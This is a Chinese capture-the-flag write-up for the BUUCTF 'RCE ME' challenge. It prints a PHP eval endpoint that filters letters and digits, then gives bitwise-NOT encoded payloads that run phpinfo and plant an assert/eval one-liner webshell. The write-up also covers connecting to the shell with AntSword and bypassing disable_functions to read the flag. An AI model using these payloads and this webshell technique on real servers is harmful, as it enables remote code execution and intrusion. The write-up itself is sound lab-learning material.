当前位置: 首页 > java >正文

BUUCTF——RCE ME

BUUCTF——RCE ME

进入靶场

在这里插入图片描述

<?php
error_reporting(0);
if(isset($_GET['code'])){$code=$_GET['code'];if(strlen($code)>40){die("This is too Long.");}if(preg_match("/[A-Za-z0-9]+/",$code)){die("NO.");}@eval($code);
}
else{highlight_file(__FILE__);
}// ?>

一段php代码

代码分析

这段PHP代码实现了一个简单的代码执行功能,但带有一些安全限制:

功能概述

  1. 代码检查是否有GET参数code传入
  2. 如果有code参数,会进行以下检查:
    • 长度不能超过40个字符(否则显示"This is too Long.")
    • 不能包含任何字母数字字符(A-Z, a-z, 0-9)(否则显示"NO.")
  3. 如果通过检查,则使用eval()执行传入的代码
  4. 如果没有code参数,则显示源代码本身

安全限制

  • error_reporting(0) 关闭了错误报告
  • 长度限制:不超过40字符
  • 字符限制:不能包含任何字母和数字
  • 使用@抑制eval()可能产生的错误

潜在利用方式

要在这种限制下执行代码,需要:

  1. 构造不超过40个字符的payload
  2. 完全不使用任何字母和数字
  3. 利用PHP允许的特殊字符和符号

可能的利用技术:

  • 使用异或运算生成所需字符
  • 利用PHP的短标签和特殊符号
  • 使用非字母数字的PHP函数调用方式

根据这段代码构造payload

?code=${~%A0%B8%BA%AB}[%A0]();&%A0=phpinfo

成功访问phpinfo

在这里插入图片描述

细看了一下phpinfo 还以为跟之前的题一样flag在phpinfo里

结果没找到

但是找到了好多禁用函数

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,dl

在这里插入图片描述

构造一句话木马payload

<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST["cmd"]))';
$d=urlencode(~$c);
echo $d;?>

在这里插入图片描述

运行代码

将运行结果拼接到url里

?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%9C%92%9B%DD%A2%D6%D6);

在这里插入图片描述

蚁剑测试连接一下

成功连接

但是读取不了数据

在这里插入图片描述

之前phpinfo看到php版本是php7

直接使用蚁剑插件disable_functions绕过试试

在这里插入图片描述

/readflag

在这里插入图片描述

成功拿到flag

flag{3f829afc-68f8-4f76-8e68-7ee4f8fa10ab}

在这里插入图片描述

http://www.xdnf.cn/news/8685.html

相关文章:

  • 【数据结构】实现方式、应用场景与优缺点的系统总结
  • CAN通信收发测试(USB2CAN模块测试实验)
  • RocketMq的消息类型及代码案例
  • 复杂度讲解
  • [yolov11改进系列]使用轻量级骨干网络MobileNetV4替换backbone的python源码+训练源码+改进流程+改进原理
  • 如何进行CAN一致性测试
  • 解决:ERROR: No matching distribution found for matplotlib= =3.8.3
  • 算法学习笔记·数学·快速幂
  • M00282-P2并联混合动力电动汽车的电池充电持续能源管理系统
  • 楼宇自控成建筑领域关键技术,为实现建筑碳中和注入强劲技术动能
  • DELL EMC PowerStore BBU更换手册
  • 【踩坑记录】nvidia-smi 能识别 GPU,但 torch.cuda.is_available() 报错的终极解决方案
  • 【MPC控制 - 从ACC到自动驾驶】2 车辆纵向动力学建模与离散化:MPC的“数字蓝图”
  • 初学c语言20(动态内存管理)
  • 浅析SpringBoot中的classpath
  • C++——volatile
  • C#学习第25天:GUI编程
  • 视频剪辑 VEGAS - 配置视频片段保持原长宽比
  • 2025 中青杯数学建模AB题
  • 加州房价预测:基于 Python 的多元回归分析实践
  • PP-YOLOE-SOD学习笔记2
  • ruoyi-erp 开源:功能全面灵活可定制
  • 25Yunxi期中
  • 基于CSP模型实现的游戏排行榜
  • 【Qt开发】进度条ProgressBar和日历Calendar Widget
  • 消息队列在异步推理任务中的作用
  • leetcode hot100刷题日记——14.二叉树的最大深度
  • pyhton基础【2】基本语法
  • CodeForces - 1692D
  • 算法笔记·数学·欧拉函数